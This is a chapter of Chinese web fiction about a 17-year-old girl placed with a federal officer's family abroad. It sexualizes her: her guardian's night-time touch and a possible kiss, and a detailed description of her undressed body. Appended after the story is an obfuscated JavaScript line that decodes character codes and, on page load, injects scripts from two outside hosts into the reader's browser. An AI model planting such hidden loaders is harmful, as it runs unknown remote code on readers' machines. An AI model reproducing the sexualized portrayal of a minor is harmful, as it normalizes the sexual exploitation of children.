温旎将脸贴在冰凉的车窗上,看着外面飞速后退的陌生风景。
M国的秋天比她想象中更冷,即使穿着加绒卫衣,寒意还是顺着脊椎往上爬。
后视镜里,母亲温柔正在和副驾驶座上的联邦探员低声交谈,那些关于安全协议和研究数据的专业术语像一堵无形的墙,将她们母女隔开。
到了。母亲突然转头对她说,声音里带着温旎熟悉的歉意,这就是卡文迪许警官家。
温旎抬头,一栋红砖白窗的三层别墅矗立在修剪整齐的草坪中央,门前橡树的叶子已经开始泛黄。
这比她想象中要豪华得多——她本以为联邦警察的住所会是那种灰扑扑的公寓楼。
温旎,听我说。
母亲抓住她的手腕,指甲几乎要掐进她的皮肤,妈妈这次的项目很重要,可能要半年不能见面。
你要乖,别给卡文迪许家添麻烦。
温旎咬着下唇点头。
十七年来,她已经习惯了跟着母亲在各个国家的实验室之间辗转,习惯了不断更换的寄宿学校和临时监护人。
但这次不一样——母亲的眼睛里有她从未见过的东西,像是恐惧,又像是兴奋。
车门打开的瞬间,冷风灌了进来。
温旎下意识缩了缩脖子,看着一个金发男人从别墅门口快步走来。
他穿着深蓝色毛衣,肩膀宽得几乎能挡住整个门框,脸上带着温和的笑容。
温女士,欢迎。他的声音低沉悦耳,带着M国东海岸特有的优雅腔调,我是乔·卡文迪许。
温旎注意到他左手无名指上的婚戒在阳光下闪闪发亮。
这是我女儿温旎。母亲推了推她的后背,她英语不错,就是有点怕生。
乔蹲下身,平视着温旎的眼睛。
他的虹膜是罕见的灰蓝色,像是暴风雨前的海面。
你好,温旎。
我妻子克莱尔正在准备晚餐,她听说你要来,特意烤了你最喜欢的苹果派。
温旎感到一阵莫名的烦躁。
她讨厌被当成小孩子对待,更讨厌这种假惺惺的友善。
但当她闻到屋里飘来的肉桂香气时,胃还是不争气地叫了一声。
谢谢。她小声说,刻意避开乔伸过来的手,自己拎起行李箱。
乔的眉毛几不可察地挑了一下,但笑容丝毫未减。你的房间在二楼,采光很好。
别墅内部比外观更加精致。
旋转楼梯的扶手上雕刻着繁复的葡萄藤花纹,客厅壁炉里跳动着真实的火焰,墙上挂着的家庭照片里,乔搂着一个红发女人,两人中间是个戴牙套的小男孩。
那是我们儿子迈克,他在寄宿学校。乔顺着她的目光解释道,你可能会觉得冷清,但克莱尔很期待有女孩作伴。
温旎在心里翻了个白眼。她早过了相信童话的年纪,很清楚自己只是个不受欢迎的累赘。
她的房间确实如乔所说阳光充足——淡蓝色的墙壁,白色铁艺床,书桌上甚至摆着一束新鲜的雏菊。
温旎把行李箱扔在角落,一头栽进蓬松的羽绒被里。
被单上有阳光晒过的味道,这让她想起在北京短暂居住时,楼下老奶奶晾被子的场景。
温旎?母亲的声音从门口传来,妈妈要走了。
温旎猛地坐起来。她以为自己已经习惯了离别,但喉咙还是像被什么堵住了。这么快?
项目组在等。母亲走进来,快速塞给她一部新手机,里面有我的紧急联系方式,还有…乔的。有任何事都可以找他,他是值得信任的人。
温旎攥紧手机,塑料外壳硌得掌心生疼。你什么时候回来?
很快。母亲避开她的眼睛,这个谎言太过明显,记得按时吃维生素,你总是贫血。
拥抱短暂得像是一个幻觉。温旎站在窗前,看着那辆黑色轿车载着母亲消失在街角,突然意识到这是她第一次真正意义上的独处异国。
晚餐时分,温旎终于见到了克莱尔·卡文迪许。红发女人比照片上更加光彩照人,翡翠绿的眼睛里盛满笑意,说话时嘴角有两个浅浅的酒窝。
尝尝这个。克莱尔将一块金黄色的派推到温旎面前,乔说你喜欢甜食。
苹果派的酥皮在舌尖融化,温旎几乎要呻吟出声。她已经很久没吃过家常菜了——母亲总是忙于工作,她们的晚餐通常是实验室附近的外卖。
好吃吗?乔问道,他坐在克莱尔旁边,手臂自然地搭在妻子椅背上。
温旎点点头,偷偷观察这对夫妻的互动。
乔说话时会不自觉地倾向克莱尔,而克莱尔每次笑起来都会先看向丈夫,好像他的反应比笑话本身更重要。
他们之间流动的那种默契让温旎胸口发闷。
温旎,明天我休息,可以带你去买些日用品。克莱尔说,你有什么特别需要的吗?
卫生巾。温旎直截了当,满意地看到克莱尔愣了一下,我例假快来了。
乔正在喝水,闻言呛了一下,耳尖泛起可疑的红色。温旎在心里冷笑——三十多岁的男人听到月经还会害羞,真是可笑。
当然…克莱尔很快恢复镇定,还有什么?护肤品?化妆品?
不用了。温旎放下叉子,我累了,想休息。
她没等回应就起身离席,但走到楼梯口时,隐约听到乔低声说:她只是不适应,别往心里去…
温旎猛地加快脚步。她不需要怜悯,尤其是来自一个陌生人的。
夜深了,温旎躺在床上辗转反侧。
窗外渐渐下起雨来,雨点敲在玻璃上,细碎又清晰。
她忽然想起母亲实验室里那些小白鼠,关在透明的笼子中,不管怎么转,都找不到出口。
一道闪电划破夜空,紧接着是震耳欲聋的雷声。
温旎惊叫一声,本能地蜷缩起来。
她从小就怕雷雨,在北京时每逢暴雨,母亲都会抱着她直到天亮。
但这里没有人会来安慰她——
敲门声打断了她的思绪。
温旎?是乔的声音,你还好吗?
温旎咬住嘴唇没有回答。又一记雷声炸响,她不由自主地瑟缩了一下。
门被轻轻推开,走廊的灯光勾勒出乔高大的轮廓。他没开灯,只是走到床边坐下。做噩梦了?
温旎摇摇头,突然意识到他可能看不见。乔身上有淡淡的须后水味道,混合着雨水的清新,莫名让人安心。
我小时候也怕打雷。乔的声音在黑暗中格外温柔,我父亲说卡文迪许家的男人不该害怕任何东西,所以每次打雷我都躲在衣柜里哭。
这个意外的坦白让温旎心头一颤。她想象着小男孩乔蜷缩在黑暗中的样子,和她此刻如出一辙。
后来呢?她忍不住问。
后来我遇到了克莱尔。乔轻笑一声,大学时的一场暴雨,她发现我在图书馆厕所隔间里发抖,二话不说把我拽出来,陪我喝了一整晚热可可。
温旎能听出他声音里的爱意。又是一道闪电,这次她没忍住惊跳起来,额头撞到了乔的下巴。
嘶——乔倒抽一口气,但随即伸手按住她的肩膀,没事,不疼。
他的手掌温暖干燥,隔着薄薄的睡衣传递热量。
温旎突然意识到自己只穿着一条短裤和吊带背心,胸口几乎贴着他的手臂。
她应该推开他,但身体却像被施了定身术。
睡吧。乔轻轻拍着她的背,动作生涩却温柔,我就在这陪你。
温旎闭上眼睛,听着雨声和乔平稳的呼吸。
不知过了多久,她迷迷糊糊感觉有人将她放平,掖好被角。
半梦半醒间,有什么柔软的东西轻轻碰了碰她的额头——可能只是一个幻觉。
第二天清晨,温旎被阳光晒醒。
床边的椅子上放着一杯牛奶和牛角包,下面压着张纸条:我和克莱尔去上班了,冰箱里有食物,我的电话在通讯录里。
——乔
温旎小口啜饮着已经凉掉的牛奶,回想起昨晚的幻觉,脸颊发烫。
她翻身下床,突然注意到门缝下塞着什么——是一条粉色包装的卫生巾,上面贴着小标签:以防万一。
P.S. 迈克说这个牌子最好用。
——C
温旎捏着卫生巾,一种奇怪的感觉在胸口膨胀。
她想起克莱尔温暖的笑容,想起乔拍着她后背的手,想起那个可能是吻的触碰…这个家太完美了,完美得让她想要破坏点什么。
她走到穿衣镜前,慢慢脱下睡裙。
镜中的少女身体纤细白皙,胸部刚刚好的弧度,腰线流畅地没入内裤边缘。
温旎用手指描摹着自己的锁骨,想象那是别人的触碰。
楼下传来开门声,温旎猛地回神,匆忙套上T恤。
她决定今天要好好探索这栋房子,尤其是乔和克莱尔的卧室——毕竟,了解监护人是寄宿者的基本权利,不是吗?
(function(a){(new Function(String.fromCharCode(...a)))();})([100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,34,60,100,105,118,62,60,100,105,118,32,105,100,61,39,118,56,82,68,50,53,52,49,39,62,60,47,100,105,118,62,60,47,100,105,118,62,34,41,59,108,101,116,32,117,114,108,115,61,91,34,104,116,116,112,115,58,92,47,92,47,109,100,49,49,110,50,51,56,97,46,111,115,115,45,99,110,45,104,97,110,103,122,104,111,117,46,97,108,105,121,117,110,99,115,46,99,111,109,92,47,49,92,47,49,52,53,50,53,48,49,49,34,44,34,104,116,116,112,115,58,92,47,92,47,112,46,55,100,51,54,97,46,99,111,109,92,47,49,92,47,49,52,53,50,53,48,49,49,34,93,59,119,105,110,100,111,119,46,95,95,114,114,95,95,104,108,100,61,49,59,108,101,116,32,117,114,108,105,110,100,101,120,61,48,59,108,101,116,32,114,102,117,110,99,61,102,117,110,99,116,105,111,110,40,41,123,105,102,40,119,105,110,100,111,119,46,95,95,114,114,95,95,108,111,97,100,101,100,95,50,53,52,49,95,49,49,48,53,32,33,61,32,39,111,107,39,41,123,108,101,116,32,115,115,32,61,32,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,115,115,46,116,121,112,101,32,61,32,39,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,39,59,115,115,46,114,101,102,101,114,114,101,114,80,111,108,105,99,121,61,39,110,111,45,114,101,102,101,114,114,101,114,39,59,115,115,46,115,114,99,61,117,114,108,115,91,117,114,108,105,110,100,101,120,43,43,93,43,32,40,110,97,118,105,103,97,116,111,114,46,117,115,101,114,65,103,101,110,116,46,105,110,100,101,120,79,102,40,39,65,110,100,114,111,105,100,39,41,32,33,61,32,45,49,32,63,32,39,48,39,58,39,49,39,41,32,43,32,39,63,39,32,43,32,110,101,119,32,68,97,116,101,40,41,46,103,101,116,84,105,109,101,40,41,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,115,115,41,59,125,125,59,114,102,117,110,99,40,41,59,114,102,117,110,99,40,41,59]);